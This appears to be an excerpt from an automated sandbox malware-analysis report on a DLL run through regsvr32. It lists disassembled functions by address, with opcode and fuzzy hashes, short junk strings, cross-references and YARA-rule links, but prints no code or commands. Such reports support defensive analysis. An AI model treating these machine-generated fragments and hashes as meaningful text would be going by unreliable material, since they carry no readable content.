Instruction ID: dfce06ae3f2776b2053eb0988bfb390665c026a97965fcc171ceda4eb787facd
Opcode Fuzzy Hash: 259697ebe02e240ff157c8cb6796f3c563015099138ecee0effd1804923e127d
Instruction Fuzzy Hash: 4E02F470A0470DEFDB99DF68C089A8EBBF1FB48344F40856AE809EB250D7749A59CB45

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000E130 Relevance: 6.6, Strings: 5, Instructions: 305COMMON

Download Yara Rule

Strings

n", xrefs: 000000018000E164
wPT, xrefs: 000000018000E274
\=V, xrefs: 000000018000E457
h9&, xrefs: 000000018000E1D6
5Z3, xrefs: 000000018000E36F

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: \=V$h9&$n"$wPT$5Z3
API String ID: 0-226182706
Opcode ID: ce1cfba10c1d8d8dcb7fefef68f5dbb71196a1667c8063e3a43dba33cd0a9cce
Instruction ID: 86bcb4527d36acdb60297ed143c12856cad003a08b6179b63c097fe4f6929213
Opcode Fuzzy Hash: ce1cfba10c1d8d8dcb7fefef68f5dbb71196a1667c8063e3a43dba33cd0a9cce
Instruction Fuzzy Hash: F7E11871A0468C8BDF59CFE8C48ABDDBBF2FB54348F004129D906BB298D774951ACB85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180013994 Relevance: 6.5, Strings: 5, Instructions: 278COMMON

Download Yara Rule

Strings

5.A, xrefs: 0000000180013AB3
2k, xrefs: 0000000180013C87
Tv, xrefs: 0000000180013B60
h, xrefs: 0000000180013BB0
|, xrefs: 0000000180013DF6

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 2k$5.A$h$Tv$|
API String ID: 0-899094025
Opcode ID: db2f60ac8ea9c811a7e8a42be398396c7662d8ce257af2786f0ca87739e0812c
Instruction ID: fdc8e1fcc57a9d708ca924da4610569f3fbcb91b13fa75a00635c4e08a114872
Opcode Fuzzy Hash: db2f60ac8ea9c811a7e8a42be398396c7662d8ce257af2786f0ca87739e0812c
Instruction Fuzzy Hash: 2CE1B2B190474C8FDB69CFA8C48969DBFF1FB48348F20421DE869AB262D7749945CF41

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001A10C Relevance: 6.5, Strings: 5, Instructions: 210COMMON

Download Yara Rule

Strings

TaK, xrefs: 000000018001A1B7
_, xrefs: 000000018001A296
`H, xrefs: 000000018001A2CF
h, xrefs: 000000018001A205
T, xrefs: 000000018001A166

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: `H$h$T$TaK$_
API String ID: 963392458-2145750592
Opcode ID: ffc2d6b317b26a71c8140759e67952dd965db1d69b0c3f8b48f7c1dc501504e9
Instruction ID: 3659a6701c3bc18b063cae63192a65d6a0dab5b7a081606fb1710f1fc1c5873b
Opcode Fuzzy Hash: ffc2d6b317b26a71c8140759e67952dd965db1d69b0c3f8b48f7c1dc501504e9
Instruction Fuzzy Hash: 8FA10771D087188FDB68DFA9D8856CDBBF1FB48308F20421DE45AA7252DB70A945CF41

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002975C Relevance: 5.5, Strings: 4, Instructions: 484COMMON

Download Yara Rule

Strings

^K, xrefs: 0000000180029AD7
{NC, xrefs: 0000000180029C32
Bwu, xrefs: 0000000180029EFD
L>yL, xrefs: 0000000180029A5A

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Bwu$L>yL${NC$^K
API String ID: 0-3175627499
Opcode ID: 50b0aea139128d6f7c402ec74795df524ca4165021b819f0d064fd60e31d3d12
Instruction ID: fbf4dbbb098cc7df43bbc7889590cb4d1f5602d02220e4776b40022e4a41187c
Opcode Fuzzy Hash: 50b0aea139128d6f7c402ec74795df524ca4165021b819f0d064fd60e31d3d12
Instruction Fuzzy Hash: 13322B70908B488FE769CF78C48665EBBF0FB84748F204A1DE6A697270DB749945CF42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180021738 Relevance: 5.5, Strings: 4, Instructions: 483COMMON

Download Yara Rule

Strings

dS, xrefs: 0000000180021E7D
Od^v, xrefs: 0000000180021933
%, xrefs: 00000001800220F1
N'}, xrefs: 0000000180021C2C

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: %$N'}$Od^v$dS
API String ID: 0-4183360357
Opcode ID: 3e0f3c17ca57f4ad1f3f1084ac04447848ab7be5cba89c2bccd8803fee9248a0
Instruction ID: 281f3f4e81126c35bb2be7146c604e5ee0be10d432db17f45780181539d507de
Opcode Fuzzy Hash: 3e0f3c17ca57f4ad1f3f1084ac04447848ab7be5cba89c2bccd8803fee9248a0
Instruction Fuzzy Hash: 3342D9B190438C8BDBB8CF64C8896DD7BF1FB48318F50852DDA199B251DBB05685CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800252C0 Relevance: 5.3, Strings: 4, Instructions: 285COMMON

Download Yara Rule

Strings

__Z%, xrefs: 000000018002535D
+Gq, xrefs: 0000000180025679
|deb, xrefs: 000000018002537F
sH, xrefs: 00000001800254B9

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: +Gq$__Z%$|deb$sH
API String ID: 0-2072550713
Opcode ID: 094eb7f958d011cdb8ce81038bafb84045d4698861e966cd2ff6582630ea1e3f
Instruction ID: 26b4cb1fb47336c1432c1659c452027cf20818b998f95a2bcb6bb32f36742f2f
Opcode Fuzzy Hash: 094eb7f958d011cdb8ce81038bafb84045d4698861e966cd2ff6582630ea1e3f
Instruction Fuzzy Hash: 0FD1137160270DCBDB68DF28C68A6DE3BE1FF48308F504129FC5A96262D774D929CB49

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000403C Relevance: 5.3, Strings: 4, Instructions: 279COMMON

Download Yara Rule

Strings

:=, xrefs: 000000018000423F
8r, xrefs: 000000018000410D
5P, xrefs: 00000001800044DE
xX, xrefs: 0000000180004380

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 5P$8r$:=$xX
API String ID: 0-2901174047
Opcode ID: 6865726b2104b4eb7ff299f8486c8d696ddfefbd7c25c2068e726a6c762a58db
Instruction ID: 9c4e4b6ab2cee8fe4f9bfbf45665c48137a45671121b1b9ae43ff9fbf3dba1fc
Opcode Fuzzy Hash: 6865726b2104b4eb7ff299f8486c8d696ddfefbd7c25c2068e726a6c762a58db
Instruction Fuzzy Hash: 35E1357191034D9BCB88DF64C8899DD7BF1FB48398F516219FC4AAB260C7789585CF88

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180019178 Relevance: 5.3, Strings: 4, Instructions: 258COMMON

Download Yara Rule

Strings

Ro, xrefs: 0000000180019427
WW, xrefs: 0000000180019528
&, xrefs: 0000000180019348
X|, xrefs: 000000018001950F

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: &$Ro$X|$WW
API String ID: 0-419055892
Opcode ID: ca40c88e9c0bb890938dc8e49850b9c6f80446ec0944c9f0783c0d192955d258
Instruction ID: 8aa2c3e6b8818245adabd520600babaa531b4d52059a868131a34f3b668756e0
Opcode Fuzzy Hash: ca40c88e9c0bb890938dc8e49850b9c6f80446ec0944c9f0783c0d192955d258
Instruction Fuzzy Hash: 1EC1FDB150570DCBDB68CF28C58A6DE3BE5FB48308F108129FC5A9B2A0D774EA59CB45

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001F0A8 Relevance: 5.2, Strings: 4, Instructions: 246COMMON

Download Yara Rule

Strings

tR, xrefs: 000000018001F0FE
uxX4, xrefs: 000000018001F1AC
6), xrefs: 000000018001F229
tR, xrefs: 000000018001F405

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: tR$tR$uxX4$6)
API String ID: 0-566208085
Opcode ID: c081e77f49af2eaf56923f63e50e632cb9bf55942161f3f8d2179c3bd288189e
Instruction ID: 21dbc208fb27f88b672f000d339ef1a4b78a4386f06e48fd8b1f03ba1e8317ad
Opcode Fuzzy Hash: c081e77f49af2eaf56923f63e50e632cb9bf55942161f3f8d2179c3bd288189e
Instruction Fuzzy Hash: 84D1E5705087CC8BDBFEDF68C8857DA7BA8FB44748F104219EA0A9E269CB745749CB41

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180018BDC Relevance: 5.2, Strings: 4, Instructions: 245COMMON

Download Yara Rule

Strings

`by, xrefs: 0000000180018DC2
K-~, xrefs: 0000000180018C6B
57, xrefs: 0000000180018BFC
7|, xrefs: 0000000180018F55

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 57$7|$K-~$`by
API String ID: 0-1764728439
Opcode ID: 3d75101ad2ff9bc1d340fad9c74c74685bf15c99ef7bfcf0826df8ee18983ab7
Instruction ID: 0ef0f182f1da72c174031fc5be9a225670cb57be642fb1d84f9edf9d7426cf45
Opcode Fuzzy Hash: 3d75101ad2ff9bc1d340fad9c74c74685bf15c99ef7bfcf0826df8ee18983ab7
Instruction Fuzzy Hash: 5EC1227510160CCBDBA8DF38C48A6DD3BE1FF58308F605129FC2A9A266C7B4D959CB44

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000B350 Relevance: 5.2, Strings: 4, Instructions: 243COMMON

Download Yara Rule

Strings

6i, xrefs: 000000018000B5D1
DgQ, xrefs: 000000018000B714
#X, xrefs: 000000018000B6A4
"*, xrefs: 000000018000B6F1

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X$"*$DgQ$6i
API String ID: 0-2770996495
Opcode ID: 820f3a7f2831d7bc6be119a51f5435b60720529f940ec106d6c272ece28fcda8
Instruction ID: 504b32a01a029d54a9cc7c4b79b1c57dce6396aa3b2efbc72770fc67d95dc726
Opcode Fuzzy Hash: 820f3a7f2831d7bc6be119a51f5435b60720529f940ec106d6c272ece28fcda8
Instruction Fuzzy Hash: CCB10871A0870CABDFA9DFA8E4896DDBBF1FB44344F00451DE446A7290DB749A0ECB85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180028998 Relevance: 5.2, Strings: 4, Instructions: 216COMMON

Download Yara Rule

Strings

O:M, xrefs: 0000000180028A0E
p, xrefs: 00000001800289F5
p, xrefs: 0000000180028A07
iJ"], xrefs: 0000000180028B69

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: O:M$iJ"]$p$p
API String ID: 0-2745201584
Opcode ID: c580725723075c93842e669fadfa9b9fa9ca71e2e3fa7497301af4adcf51def7
Instruction ID: 8b688321e04c0e646b0fc78ee6d67cd940f90a9f6723fb1f8222d7259e9641f4
Opcode Fuzzy Hash: c580725723075c93842e669fadfa9b9fa9ca71e2e3fa7497301af4adcf51def7
Instruction Fuzzy Hash: 8AB10070D143098BCB89DFA8D486AEEBBF0FB48304F14851EE856B7250D7749A44CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D25E01 Relevance: 5.2, Strings: 4, Instructions: 178COMMON

Download Yara Rule

Strings

HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d)., xrefs: 000007FEF9D25EF9
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d)., xrefs: 000007FEF9D25FE7
%hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d)., xrefs: 000007FEF9D2617C
HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d)., xrefs: 000007FEF9D260C7

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID:
String ID: %hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d).
API String ID: 0-1867057952
Opcode ID: 2a9d8457aa34911385b660402f71547a5181f90184c5f28ce50b42f7ee7f8c58
Instruction ID: 7eafebeb16ca57a5525b51ed0f378306bc52b64ad103bedb915b9118f6e813be
Opcode Fuzzy Hash: 2a9d8457aa34911385b660402f71547a5181f90184c5f28ce50b42f7ee7f8c58
Instruction Fuzzy Hash: 1A810C36A18B4586DB94CF59E49072EB7A0F3C4794F610526EACD87BA8DBBED441CB00

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180016AF4 Relevance: 5.1, Strings: 4, Instructions: 143COMMON

Download Yara Rule

Strings

6fA, xrefs: 0000000180016CBF
8(', xrefs: 0000000180016CE5
9\D, xrefs: 0000000180016BDC
OG3, xrefs: 0000000180016D08

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 8('$6fA$9\D$OG3
API String ID: 0-2292045659
Opcode ID: 075f2f4683c67ac2050461b4b976e23f7824189084b04fb6fcbf6660b49be205
Instruction ID: ef0df636cc5d4b1adb12f513697d006f7e6ff77cbfd46ce7bca5e6c4611c7a17
Opcode Fuzzy Hash: 075f2f4683c67ac2050461b4b976e23f7824189084b04fb6fcbf6660b49be205
Instruction Fuzzy Hash: 6E8166B591130DCFDB98CF28C18A5CA3BA8FF55318F00412AFC1E9A264D3B4E959CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180020AA0 Relevance: 5.1, Strings: 4, Instructions: 79COMMON

Download Yara Rule

Strings

IzY, xrefs: 0000000180020AE3
w4, xrefs: 0000000180020B7E
0Oa, xrefs: 0000000180020BBD
!j, xrefs: 0000000180020B50

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: !j$IzY$w4$0Oa
API String ID: 0-1210086663
Opcode ID: d22984424f9e842513d0b81fbf00519d97f66b1438588327bee25b78db1a615b
Instruction ID: d6ae16ce1753066c3a100fad89cd7b933425bd3752a83aacc50f13ca8011d066
Opcode Fuzzy Hash: d22984424f9e842513d0b81fbf00519d97f66b1438588327bee25b78db1a615b
Instruction Fuzzy Hash: 4E41CFB090034E8BCF88CF65C48A5DE7FB0FB68358F104619E916A6250D7B896A9CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002AF38 Relevance: 4.1, Strings: 3, Instructions: 363COMMON

Download Yara Rule

Strings

!fl, xrefs: 000000018002B3C2
>q, xrefs: 000000018002B162
>q, xrefs: 000000018002B2D9

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: !fl$>q$>q
API String ID: 0-3196423155
Opcode ID: dccb224850b43dda665c2028c8e90cf7ac528c4769e1ed18f59b4bae66e0f67a
Instruction ID: 6e0169028e0bb78a63dbed9d1dbc36ce20ef11fe4735bb4ca27ada0b4c61fd75
Opcode Fuzzy Hash: dccb224850b43dda665c2028c8e90cf7ac528c4769e1ed18f59b4bae66e0f67a
Instruction Fuzzy Hash: 18022574A0670CDBCBA9CFA8E48A69DBBF1FF14388F104119F816A7261C7B49919CB45

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180006B24 Relevance: 4.0, Strings: 3, Instructions: 284COMMON

Download Yara Rule

Strings

HG, xrefs: 0000000180006E14
"Gd, xrefs: 0000000180006E8F
C2, xrefs: 0000000180006EBC

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: "Gd$C2$HG
API String ID: 0-142661339
Opcode ID: 9dab0733114c64659f8f05551e608b0018560ea730d37400ebf1bc7fe80e5bb8
Instruction ID: f3040b85d87bafdcd4b0814e46a5c4b4479db0c4bbfe4c952327208bca537128
Opcode Fuzzy Hash: 9dab0733114c64659f8f05551e608b0018560ea730d37400ebf1bc7fe80e5bb8
Instruction Fuzzy Hash: 20C112719047CD8FDB89CFA8C88A6ED7BB1FB48354F104229F80697660DBB4D949CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180023624 Relevance: 4.0, Strings: 3, Instructions: 282COMMON

Download Yara Rule

Strings

Vu9(, xrefs: 0000000180023B25
QZB, xrefs: 0000000180023706
W1Z, xrefs: 0000000180023A69

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: QZB$Vu9($W1Z
API String ID: 0-4157987319
Opcode ID: 1f5c37778751f5a7f2813f46734b265b9b5d3f173c04e1f04c47467fdefc8410
Instruction ID: f699ba934c7511d53ebf66ced97cbd47477d8f387fb8544ab73dfc8f8e8f4cc9
Opcode Fuzzy Hash: 1f5c37778751f5a7f2813f46734b265b9b5d3f173c04e1f04c47467fdefc8410
Instruction Fuzzy Hash: 7DE1E870505B888FDBB9DF24CC897EBBBE1FB84705F10551EE84A9A290DBB49648CF41

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000A26C Relevance: 4.0, Strings: 3, Instructions: 277COMMON

Download Yara Rule

Strings

1c+, xrefs: 000000018000A683
,p, xrefs: 000000018000A3A5
#X, xrefs: 000000018000A546

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X$1c+$,p
API String ID: 0-4193689514
Opcode ID: 870c2a5dff4c858b49c61e00ad2e43c057056019502a976b576cc033676d3952
Instruction ID: a14642629d5f8cbd2a1e8fb09d7711f81952208659678b8c12dc59c418106fb0
Opcode Fuzzy Hash: 870c2a5dff4c858b49c61e00ad2e43c057056019502a976b576cc033676d3952
Instruction Fuzzy Hash: A0F166B5906749CFCB88DF68C28A58D7BF1BF59304F404129FC1A9A260D3B4E529CB49

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180018628 Relevance: 4.0, Strings: 3, Instructions: 203COMMON

Download Yara Rule

Strings

F, xrefs: 00000001800186FC
:a, xrefs: 000000018001871C
o1, xrefs: 0000000180018668

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: :a$o1$F
API String ID: 0-2167756397
Opcode ID: 1dc69b1f9148db4d8f727193868d76463b7f9b687988be903e8d180db9dc4b1f
Instruction ID: c7b3f013bdef5c33efa64e5817367d2177fa9b070e37e7fa0e85b95e6b1d5a97
Opcode Fuzzy Hash: 1dc69b1f9148db4d8f727193868d76463b7f9b687988be903e8d180db9dc4b1f
Instruction Fuzzy Hash: 24A10170514609DFCB98DF28C58A6DE3BE1FF58318F40822AFC0A9B264C774DA58DB85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180008C9C Relevance: 3.9, Strings: 3, Instructions: 186COMMON

Download Yara Rule

Strings

|, xrefs: 0000000180008E82
"7F, xrefs: 0000000180008FC6
hso, xrefs: 0000000180009054

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: "7F$hso$|
API String ID: 0-2223032787
Opcode ID: a1c5852e2975669cd72ae99173752b080c1a60bb39e1eda62f5b8b24312d50f2
Instruction ID: 597be8bf6f8274430a7b1b716aee764a508e33f64a18c5174bbc12e988f7dea5
Opcode Fuzzy Hash: a1c5852e2975669cd72ae99173752b080c1a60bb39e1eda62f5b8b24312d50f2
Instruction Fuzzy Hash: CDA1E7716057888FEB7ADF64C8AA7DE7BA1FF59308F40461DD98E8E250C7B45608CB42

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800090B4 Relevance: 3.9, Strings: 3, Instructions: 158COMMON

Download Yara Rule

Strings

ktw, xrefs: 00000001800091B2
eG, xrefs: 00000001800090E5
l$6, xrefs: 0000000180009270

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: eG$ktw$l$6
API String ID: 0-3696190584
Opcode ID: cfb728ef8011932e57c4461def4d81df8b30877acb09ef5991ab02cb5d25377a
Instruction ID: ec7ece3e5b0c03f4df558a0a1733d02cea5b85f33e09dae2f6683fda9d55fcb2
Opcode Fuzzy Hash: cfb728ef8011932e57c4461def4d81df8b30877acb09ef5991ab02cb5d25377a
Instruction Fuzzy Hash: E47114B0509708EFCB98DF68C089A9E7BB1FB88344F40C52EE849DB264C775DA19CB45

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180004B18 Relevance: 3.9, Strings: 3, Instructions: 148COMMON

Download Yara Rule

Strings

%Di|, xrefs: 0000000180004BAF
6qp, xrefs: 0000000180004CB3
Z9s, xrefs: 0000000180004C94

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: %Di|$6qp$Z9s
API String ID: 0-2690900941
Opcode ID: 036a56b574e0cc9d8bbe6e2c16f1c72bf3a7a337ff5cb561951f94e63896fd73
Instruction ID: 2c0d7369d6c4e2fe59306caeaa3cf354025216a739d91ba443ab140e2def37b4
Opcode Fuzzy Hash: 036a56b574e0cc9d8bbe6e2c16f1c72bf3a7a337ff5cb561951f94e63896fd73
Instruction Fuzzy Hash: 9C61257191070C9BCB88CF24C8C96DE7BB1FB483A8F556219FC0AAA294C7749985CF84

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180007678 Relevance: 3.9, Strings: 3, Instructions: 140COMMON

Download Yara Rule

Strings

vv5, xrefs: 000000018000780B
Fl, xrefs: 000000018000787C
Fl, xrefs: 0000000180007874

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Fl$Fl$vv5
API String ID: 0-3053741108
Opcode ID: 56c6ca64a2739fcec8bf5f3302d493d90fa60cbb6fd5cd63e6a43fd0d8d3c1f6
Instruction ID: 55f6967587c9a541224425d329b03615816d53db549f94b6db3b05c8e91cbb03
Opcode Fuzzy Hash: 56c6ca64a2739fcec8bf5f3302d493d90fa60cbb6fd5cd63e6a43fd0d8d3c1f6
Instruction Fuzzy Hash: FC511A70E4870CAFDB69DFA8E0866DDBBF1FB58344F004519E40AE7291DB74990ACB85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180015264 Relevance: 3.9, Strings: 3, Instructions: 137COMMON

Download Yara Rule

Strings

nkz, xrefs: 000000018001533E
_ N, xrefs: 00000001800153D5
dows\system32\OLEAUT32.dll, xrefs: 00000001800152C2, 00000001800153CB

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: _ N$dows\system32\OLEAUT32.dll$nkz
API String ID: 0-3089747839
Opcode ID: a2e505ed0ed44acca9d37efa5475ae9917bfda84fefcb3a28f95bfb4043916ce
Instruction ID: b07831c94fe2cbd7ac58294498593f0ee6961182af88fd212fccb4805bec53d6
Opcode Fuzzy Hash: a2e505ed0ed44acca9d37efa5475ae9917bfda84fefcb3a28f95bfb4043916ce
Instruction Fuzzy Hash: 39513971D04A1D8BDF99CFA8C5457EEBBB1FB48344F108119E415BB250CBB89A09CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180016DA8 Relevance: 3.9, Strings: 3, Instructions: 133COMMON

Download Yara Rule

Strings

nn, xrefs: 0000000180016DF3
H8, xrefs: 0000000180016F99
nn, xrefs: 0000000180017044

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: H8$nn$nn
API String ID: 0-4263809824
Opcode ID: 01947e023cac002b8a0a3e4f78c79794eac0dde5bb4d18b8413bbe4288169ddb
Instruction ID: 3c01ac5d5c2d3476a5cfb8eba6abf236e6c64549312703f260b6bb5002efdfbd
Opcode Fuzzy Hash: 01947e023cac002b8a0a3e4f78c79794eac0dde5bb4d18b8413bbe4288169ddb
Instruction Fuzzy Hash: 5361D67555878CCBEBBADF38CC897D97BB1FB48344F908219D80E8A260DB7457498B41

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180028348 Relevance: 3.9, Strings: 3, Instructions: 130COMMON

Download Yara Rule

Strings

}]{, xrefs: 0000000180028494
,7%, xrefs: 0000000180028597
%Nz, xrefs: 0000000180028375

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: %Nz$,7%$}]{
API String ID: 0-2809531587
